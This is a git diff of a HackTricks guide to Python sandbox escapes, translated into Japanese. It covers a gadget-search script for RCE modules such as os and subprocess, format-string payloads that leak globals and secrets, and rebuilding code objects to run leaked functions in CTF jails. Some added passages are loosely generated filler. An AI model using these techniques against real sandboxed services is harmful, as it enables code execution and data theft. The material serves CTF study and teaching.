builtins, open or anything** just use this script to **recursively find places where you can find that object.** +これは本当に**素晴らしい**です。もし**globals、builtins、openなどのオブジェクトを探している**場合は、このスクリプトを使用して**そのオブジェクトが見つかる場所を再帰的に検索**できます。 {% endhint %} - ```python import os, sys # Import these to find more gadgets SEARCH_FOR = { - # Misc - "__globals__": set(), - "builtins": set(), - "__builtins__": set(), - "open": set(), - - # RCE libs - "os": set(), - "subprocess": set(), - "commands": set(), - "pty": set(), - "importlib": set(), - "imp": set(), - "sys": set(), - "pip": set(), - "pdb": set(), - - # RCE methods - "system": set(), - "popen": set(), - "getstatusoutput": set(), - "getoutput": set(), - "call": set(), - "Popen": set(), - "popen": set(), - "spawn": set(), - "import_module": set(), - "__import__": set(), - "load_source": set(), - "execfile": set(), - "execute": set() +# Misc +"__globals__": set(), +"builtins": set(), +"__builtins__": set(), +"open": set(), + +# RCE libs +"os": set(), +"subprocess": set(), +"commands": set(), +"pty": set(), +"importlib": set(), +"imp": set(), +"sys": set(), +"pip": set(), +"pdb": set(), + +# RCE methods +"system": set(), +"popen": set(), +"getstatusoutput": set(), +"getoutput": set(), +"call": set(), +"Popen": set(), +"popen": set(), +"spawn": set(), +"import_module": set(), +"__import__": set(), +"load_source": set(), +"execfile": set(), +"execute": set() } #More than 4 is very time consuming @@ -656,157 +807,149 @@ MAX_CONT = 4 #ALREADY_CHECKED = set() def check_recursive(element, cont, name, orig_n, orig_i, execute): - # If bigger than maximum, stop - if cont > MAX_CONT: - return - - # If already checked, stop - #if name and name in ALREADY_CHECKED: - # return - - # Add to already checked - #if name: - # ALREADY_CHECKED.add(name) - - # If found add to the dict - for k in SEARCH_FOR: - if k in dir(element) or (type(element) is dict and k in element): - SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}") - - # Continue with the recursivity - for new_element in dir(element): - try: - check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute) - - # WARNING: Calling random functions sometimes kills the script - # Comment this part if you notice that behaviour!! - if execute: - try: - if callable(getattr(element, new_element)): - check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute) - except: - pass - - except: - pass - - # If in a dict, scan also each key, very important - if type(element) is dict: - for new_element in element: - check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i) +# If bigger than maximum, stop +if cont > MAX_CONT: +return + +# If already checked, stop +#if name and name in ALREADY_CHECKED: +# return + +# Add to already checked +#if name: +# ALREADY_CHECKED.add(name) + +# If found add to the dict +for k in SEARCH_FOR: +if k in dir(element) or (type(element) is dict and k in element): +SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}") + +# Continue with the recursivity +for new_element in dir(element): +try: +check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute) + +# WARNING: Calling random functions sometimes kills the script +# Comment this part if you notice that behaviour!! +if execute: +try: +if callable(getattr(element, new_element)): +check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute) +except: +pass + +except: +pass + +# If in a dict, scan also each key, very important +if type(element) is dict: +for new_element in element: +check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i) def main(): - print("Checking from empty string...") - total = [""] - for i,element in enumerate(total): - print(f"\rStatus: {i}/{len(total)}", end="") - cont = 1 - check_recursive(element, cont, "", str(element), f"Empty str {i}", True) - - print() - print("Checking loaded subclasses...") - total = "".__class__.__base__.__subclasses__() - for i,element in enumerate(total): - print(f"\rStatus: {i}/{len(total)}", end="") - cont = 1 - check_recursive(element, cont, "", str(element), f"Subclass {i}", True) - - print() - print("Checking from global functions...") - total = [print, check_recursive] - for i,element in enumerate(total): - print(f"\rStatus: {i}/{len(total)}", end="") - cont = 1 - check_recursive(element, cont, "", str(element), f"Global func {i}", False) - - print() - print(SEARCH_FOR) +print("Checking from empty string...") +total = [""] +for i,element in enumerate(total): +print(f"\rStatus: {i}/{len(total)}", end="") +cont = 1 +check_recursive(element, cont, "", str(element), f"Empty str {i}", True) + +print() +print("Checking loaded subclasses...") +total = "".__class__.__base__.__subclasses__() +for i,element in enumerate(total): +print(f"\rStatus: {i}/{len(total)}", end="") +cont = 1 +check_recursive(element, cont, "", str(element), f"Subclass {i}", True) + +print() +print("Checking from global functions...") +total = [print, check_recursive] +for i,element in enumerate(total): +print(f"\rStatus: {i}/{len(total)}", end="") +cont = 1 +check_recursive(element, cont, "", str(element), f"Global func {i}", False) + +print() +print(SEARCH_FOR) if __name__ == "__main__": - main() +main() ``` - -You can check the output of this script on this page: +このスクリプトの出力は、このページで確認できます: {% content-ref url="broken-reference" %} -[Broken link](broken-reference) +[リンク切れ](broken-reference) {% endcontent-ref %} ![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化できます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Python Format String +## Pythonフォーマット文字列 -If you **send** a **string** to python that is going to be **formatted**, you can use `{}` to access **python internal information.** You can use the previous examples to access globals or builtins for example. +**フォーマット**される**文字列**をPythonに**送信**する場合、`{}`を使用して**Pythonの内部情報にアクセス**できます。前の例を使用して、グローバル変数やビルトイン関数にアクセスすることができます。 {% hint style="info" %} -However, there is a **limitation**, you can only use the symbols `.[]`, so you **won't be able to execute arbitrary code**, just to read information.\ -_**If you know how to execute code through this vulnerability, please contact me.**_ +ただし、**制限**があります。`.[]`の記号のみを使用できるため、任意のコードを実行することはできません。情報の読み取りのみが可能です。\ +_**この脆弱性を介してコードを実行する方法を知っている場合は、お知らせください。**_ {% endhint %} - ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { - "KEY": "ASXFYFGK78989" +"KEY": "ASXFYFGK78989" } class PeopleInfo: - def __init__(self, fname, lname): - self.fname = fname - self.lname = lname +def __init__(self, fname, lname): +self.fname = fname +self.lname = lname def get_name_for_avatar(avatar_str, people_obj): - return avatar_str.format(people_obj = people_obj) +return avatar_str.format(people_obj = people_obj) people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` +注意してください。通常の方法で属性にアクセスすることができます。例えば、`people_obj.__init__`のように**ドット**を使用します。また、引用符なしで**括弧**を使用して**辞書要素**にアクセスすることもできます。例えば、`__globals__[CONFIG]`です。 -Note how you can **access attributes** in a normal way with a **dot** like `people_obj.__init__` and **dict element** with **parenthesis** without quotes `__globals__[CONFIG]` - -Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` - -Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively: +また、オブジェクトの要素を列挙するために`.__dict__`を使用することもできます。例えば、`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`です。 +フォーマット文字列の他の興味深い特徴は、**`!s`**、**`!r`**、**`!a`**を追加することで、指定されたオブジェクトで**`str`**、**`repr`**、**`ascii`**を**実行**できることです。 ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` - -Moreover, it's possible to **code new formatters** in classes: - +さらに、クラス内で**新しいフォーマッターをコーディング**することも可能です: ```python class HAL9000(object): - def __format__(self, format): - if (format == 'open-the-pod-bay-doors'): - return "I'm afraid I can't do that." - return 'HAL 9000' +def __format__(self, format): +if (format == 'open-the-pod-bay-doors'): +return "I'm afraid I can't do that." +return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` - -**More examples** about **format** **string** examples can be found in [**https://pyformat.info/**](https://pyformat.info) +**フォーマット文字列**の例については、[**https://pyformat.info/**](https://pyformat.info)でさらに多くの例を見つけることができます。 {% hint style="danger" %} -Check also the following page for gadgets that will r**ead sensitive information from Python internal objects**: +また、以下のページもチェックしてください。これには、Pythonの内部オブジェクトから**機密情報を読み取る**ためのガジェットがあります。 {% endhint %} {% content-ref url="../python-internal-read-gadgets.md" %} [python-internal-read-gadgets.md](../python-internal-read-gadgets.md) {% endcontent-ref %} -### Sensitive Information Disclosure Payloads - +### 機密情報の漏洩ペイロード ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -817,41 +960,59 @@ Check also the following page for gadgets that will r**ead sensitive information # Access an element through several links {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} ``` - -## Dissecting Python Objects +## Pythonオブジェクトの解剖 {% hint style="info" %} -If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +Pythonのバイトコードについて詳しく学びたい場合は、このトピックについての素晴らしい記事を読んでください:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) {% endhint %} -In some CTFs you could be provided with the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it. - -This is the function to inspect: +CTFの中で、フラグが存在する**カスタム関数の名前**が提供され、その関数の**内部**を見て抽出する必要がある場合があります。 +以下は調査する関数です: ```python def get_flag(some_input): - var1=1 - var2="secretcode" - var3=["some","array"] - if some_input == var2: - return "THIS-IS-THE-FALG!" - else: - return "Nope" +var1=1 +var2="secretcode" +var3=["some","array"] +if some_input == var2: +return "THIS-IS-THE-FALG!" +else: +return "Nope" +``` +#### ディレクトリ + +このセクションでは、Pythonのサンドボックスをバイパスするためのいくつかの一般的な方法を紹介します。 + +##### 1. `dir` 関数 + +`dir` 関数は、オブジェクトが持つ属性とメソッドのリストを返します。これは、サンドボックス内のオブジェクトの構造を調査するために使用できます。 + +```python +dir(object) ``` -#### dir +- `object`: 調査するオブジェクト +例えば、次のように使用します。 + +```python +import os + +print(dir(os)) +``` + +このコードは、`os` モジュールが持つ属性とメソッドのリストを表示します。 + +サンドボックス内で実行されるPythonコードのオブジェクトを調査するために、`dir` 関数を使用することができます。これにより、サンドボックスの制約を回避するための有用な情報を取得することができます。 ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` +#### グローバル変数 -#### globals - -`__globals__` and `func_globals`(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared: - +`__globals__` と `func_globals`(同じ)は、グローバル環境を取得します。以下の例では、いくつかのインポートされたモジュール、いくつかのグローバル変数、およびそれらの内容が宣言されています。 ```python get_flag.func_globals get_flag.__globals__ @@ -860,13 +1021,11 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` +[**ここでグローバル変数を取得する他の場所を見る**](./#globals-and-locals) -[**See here more places to obtain globals**](./#globals-and-locals) - -### **Accessing the function code** - -**`__code__`** and `func_code`: You can **access** this **attribute** of the function to **obtain the code object** of the function. +### **関数コードへのアクセス** +**`__code__`** と `func_code`: 関数のこの**属性**にアクセスして、関数の**コードオブジェクトを取得**することができます。 ```python # In our current example get_flag.__code__ @@ -880,16 +1039,38 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` +### コード情報の取得 -### Getting Code Information +To bypass Python sandboxes, it is crucial to gather information about the code being executed. This information can help identify potential vulnerabilities and weaknesses in the sandbox environment. Here are some techniques to obtain code information: +#### 1. Inspecting the Code + +One way to gather code information is by inspecting the source code directly. This can be done by accessing the code files or using tools like `cat`, `less`, or `vi` to view the contents of the files. + +#### 2. Decompiling Python Bytecode + +Python bytecode can be decompiled to obtain a higher-level representation of the code. Tools like `uncompyle6` or `pycdc` can be used to decompile the bytecode and analyze the code logic. + +#### 3. Using Debugging Tools + +Debugging tools like `pdb` or `ipdb` can be utilized to gain insights into the code execution process. By setting breakpoints and stepping through the code, it is possible to observe the behavior and identify potential vulnerabilities. + +#### 4. Analyzing Error Messages + +Error messages can provide valuable information about the code execution flow. By analyzing these messages, it is possible to identify potential weaknesses or misconfigurations in the sandbox environment. + +#### 5. Monitoring System Calls + +Monitoring system calls can help in understanding the code's interaction with the underlying operating system. Tools like `strace` or `ltrace` can be used to trace the system calls made by the code and identify any suspicious or unauthorized actions. + +By gathering code information using these techniques, it becomes easier to analyze the code's behavior and find ways to bypass Python sandboxes effectively. ```python # Another example s = ''' a = 5 b = 'text' def f(x): - return x +return x f(5) ''' c=compile(s, "", "exec") @@ -928,92 +1109,108 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` +### **関数の逆アセンブル** -### **Disassembly a function** +To bypass Python sandboxes, it is often necessary to understand the inner workings of the sandboxing mechanism. One way to do this is by disassembling the target function. Disassembling a function allows us to view the low-level assembly instructions that make up the function's code. + +Python provides the `dis` module, which can be used to disassemble Python bytecode. By disassembling a function, we can analyze the bytecode instructions and gain insights into how the function operates. + +To disassemble a function, we can use the `dis.dis()` function from the `dis` module. This function takes the function object as an argument and prints out the disassembled bytecode instructions. + +Here is an example of how to disassemble a function: ```python import dis -dis.dis(get_flag) - 2 0 LOAD_CONST 1 (1) - 3 STORE_FAST 1 (var1) - 3 6 LOAD_CONST 2 ('secretcode') - 9 STORE_FAST 2 (var2) +def target_function(): + x = 10 + y = 20 + z = x + y + print(z) - 4 12 LOAD_CONST 3 ('some') - 15 LOAD_CONST 4 ('array') - 18 BUILD_LIST 2 - 21 STORE_FAST 3 (var3) - - 5 24 LOAD_FAST 0 (some_input) - 27 LOAD_FAST 2 (var2) - 30 COMPARE_OP 2 (==) - 33 POP_JUMP_IF_FALSE 40 - - 6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!') - 39 RETURN_VALUE - - 8 >> 40 LOAD_CONST 6 ('Nope') - 43 RETURN_VALUE - 44 LOAD_CONST 0 (None) - 47 RETURN_VALUE +dis.dis(target_function) ``` -Notice that **if you cannot import `dis` in the python sandbox** you can obtain the **bytecode** of the function (`get_flag.func_code.co_code`) and **disassemble** it locally. You won't see the content of the variables being loaded (`LOAD_CONST`) but you can guess them from (`get_flag.func_code.co_consts`) because `LOAD_CONST`also tells the offset of the variable being loaded. +The output of the above code will be the disassembled bytecode instructions of the `target_function`. By analyzing these instructions, we can understand how the function performs its operations and potentially find ways to bypass the sandboxing mechanism. +Keep in mind that disassembling a function may not always be straightforward, especially if the code is obfuscated or heavily optimized. However, it can be a valuable technique in understanding the inner workings of a Python sandbox and finding potential vulnerabilities or bypasses. +```python +import dis +dis.dis(get_flag) +2 0 LOAD_CONST 1 (1) +3 STORE_FAST 1 (var1) + +3 6 LOAD_CONST 2 ('secretcode') +9 STORE_FAST 2 (var2) + +4 12 LOAD_CONST 3 ('some') +15 LOAD_CONST 4 ('array') +18 BUILD_LIST 2 +21 STORE_FAST 3 (var3) + +5 24 LOAD_FAST 0 (some_input) +27 LOAD_FAST 2 (var2) +30 COMPARE_OP 2 (==) +33 POP_JUMP_IF_FALSE 40 + +6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!') +39 RETURN_VALUE + +8 >> 40 LOAD_CONST 6 ('Nope') +43 RETURN_VALUE +44 LOAD_CONST 0 (None) +47 RETURN_VALUE +``` +もしPythonサンドボックスで`dis`をインポートできない場合は、関数の**バイトコード**(`get_flag.func_code.co_code`)を取得し、ローカルで**逆アセンブル**することができます。変数の内容(`LOAD_CONST`)は表示されませんが、`LOAD_CONST`は変数のオフセットも示しているため、(`get_flag.func_code.co_consts`)から推測することができます。 ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') - 0 LOAD_CONST 1 (1) - 3 STORE_FAST 1 (1) - 6 LOAD_CONST 2 (2) - 9 STORE_FAST 2 (2) - 12 LOAD_CONST 3 (3) - 15 LOAD_CONST 4 (4) - 18 BUILD_LIST 2 - 21 STORE_FAST 3 (3) - 24 LOAD_FAST 0 (0) - 27 LOAD_FAST 2 (2) - 30 COMPARE_OP 2 (==) - 33 POP_JUMP_IF_FALSE 40 - 36 LOAD_CONST 5 (5) - 39 RETURN_VALUE - >> 40 LOAD_CONST 6 (6) - 43 RETURN_VALUE - 44 LOAD_CONST 0 (0) - 47 RETURN_VALUE +0 LOAD_CONST 1 (1) +3 STORE_FAST 1 (1) +6 LOAD_CONST 2 (2) +9 STORE_FAST 2 (2) +12 LOAD_CONST 3 (3) +15 LOAD_CONST 4 (4) +18 BUILD_LIST 2 +21 STORE_FAST 3 (3) +24 LOAD_FAST 0 (0) +27 LOAD_FAST 2 (2) +30 COMPARE_OP 2 (==) +33 POP_JUMP_IF_FALSE 40 +36 LOAD_CONST 5 (5) +39 RETURN_VALUE +>> 40 LOAD_CONST 6 (6) +43 RETURN_VALUE +44 LOAD_CONST 0 (0) +47 RETURN_VALUE ``` +## Pythonのコンパイル -## Compiling Python - -Now, let us imagine that somehow you can **dump the information about a function that you cannot execute** but you **need** to **execute** it.\ -Like in the following example, you **can access the code object** of that function, but just reading the disassemble you **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_) - +さて、実行できない関数の情報を**ダンプ**することができると仮定してみましょうが、それを**実行する必要がある**場合を考えてみましょう。\ +次の例のように、その関数の**コードオブジェクトにアクセスできます**が、ディスアセンブルを読んでもフラグの計算方法がわかりません(より複雑な`calc_flag`関数を想像してください)。 ```python def get_flag(some_input): - var1=1 - var2="secretcode" - var3=["some","array"] - def calc_flag(flag_rot2): - return ''.join(chr(ord(c)-2) for c in flag_rot2) - if some_input == var2: - return calc_flag("VjkuKuVjgHnci") - else: - return "Nope" +var1=1 +var2="secretcode" +var3=["some","array"] +def calc_flag(flag_rot2): +return ''.join(chr(ord(c)-2) for c in flag_rot2) +if some_input == var2: +return calc_flag("VjkuKuVjgHnci") +else: +return "Nope" ``` +### コードオブジェクトの作成 -### Creating the code object - -First of all, we need to know **how to create and execute a code object** so we can create one to execute our function leaked: - +まず最初に、**コードオブジェクトを作成して実行する方法**を知る必要があります。これにより、漏洩した関数を実行するためのコードオブジェクトを作成することができます。 ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this code_obj = code_type(co_argcount, co_kwonlyargcount, - co_nlocals, co_stacksize, co_flags, - co_code, co_consts, co_names, - co_varnames, co_filename, co_name, - co_firstlineno, co_lnotab, freevars=None, - cellvars=None) +co_nlocals, co_stacksize, co_flags, +co_code, co_consts, co_names, +co_varnames, co_filename, co_name, +co_firstlineno, co_lnotab, freevars=None, +cellvars=None) # Execution eval(code_obj) #Execute as a whole script @@ -1023,10 +1220,8 @@ mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` - {% hint style="info" %} -Depending on the python version the **parameters** of `code_type` may have a **different order**. The best way to know the order of the params in the python version you are running is to run: - +Pythonのバージョンによって、`code_type`の**パラメータ**の順序が異なる場合があります。実行しているPythonのバージョンでパラメータの順序を知る最良の方法は、次のコマンドを実行することです。 ``` import types types.CodeType.__doc__ @@ -1034,12 +1229,11 @@ types.CodeType.__doc__ ``` {% endhint %} -### Recreating a leaked function +### リークされた関数の再作成 {% hint style="warning" %} -In the following example, we are going to take all the data needed to recreate the function from the function code object directly. In a **real example**, all the **values** to execute the function **`code_type`** is what **you will need to leak**. +以下の例では、関数コードオブジェクトから関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**は、**リークする必要があるもの**です。 {% endhint %} - ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -1050,18 +1244,16 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` +### 防御をバイパスする -### Bypass Defenses - -In previous examples at the beginning of this post, you can see **how to execute any python code using the `compile` function**. This is interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\ -Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF). - -For example, let's compile and execute manually a function that reads _./poc.py_: +このポストの最初の例で、`compile`関数を使用して**任意のPythonコードを実行する方法**を見ることができます。これは興味深いことです、なぜなら**ループを含むスクリプト全体をワンライナーで実行**することができるからです(同じことは**`exec`**を使用してもできます)。 +とにかく、**ローカルマシンでコンパイルされたオブジェクトを作成**し、**CTFマシン**で実行することが便利な場合があります(たとえば、CTFに`compile`関数がない場合など)。 +例えば、_./poc.py_を読み込む関数を手動でコンパイルして実行してみましょう。 ```python #Locally def read(): - return open("./poc.py",'r').read() +return open("./poc.py",'r').read() read.__code__.co_code 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' @@ -1084,9 +1276,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` - -If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment to call this function.** - +もし`eval`や`exec`にアクセスできない場合、**適切な関数**を作成することができますが、それを直接呼び出すと通常は「制限モードでコンストラクタにアクセスできません」というエラーが発生します。そのため、**制限された環境ではない関数を使用してこの関数を呼び出す必要があります。** ```python #Compile a regular print ftype = type(lambda: None) @@ -1094,36 +1284,30 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` +## コンパイルされたPythonの逆コンパイル -## Decompiling Compiled Python +[**https://www.decompiler.com/**](https://www.decompiler.com)のようなツールを使用すると、与えられたコンパイルされたPythonコードを**逆コンパイル**することができます。 -Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code. - -**Check out this tutorial**: +**このチュートリアルをチェックしてください**: {% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} [.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) {% endcontent-ref %} -## Misc Python +## その他のPython ### Assert -Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\ -Therefore, checks like - +パラメータ`-O`で最適化されたPythonは、**assert**文と**debug**の値に基づく条件付きのコードを削除します。したがって、以下のようなチェックは ```python def check_permission(super_user): - try: - assert(super_user) - print("\nYou are a super user\n") - except AssertionError: - print(f"\nNot a Super User!!!\n") +try: +assert(super_user) +print("\nYou are a super user\n") +except AssertionError: +print(f"\nNot a Super User!!!\n") ``` - -will be bypassed - -## References +## 参考文献 * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) * [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) @@ -1136,18 +1320,18 @@ will be bypassed ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** ![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md index 2f3fc18a8..99b29c1cc 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md @@ -1,108 +1,98 @@ -# LOAD\_NAME / LOAD\_CONST opcode OOB Read +# LOAD\_NAME / LOAD\_CONSTオペコード OOBリード
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* 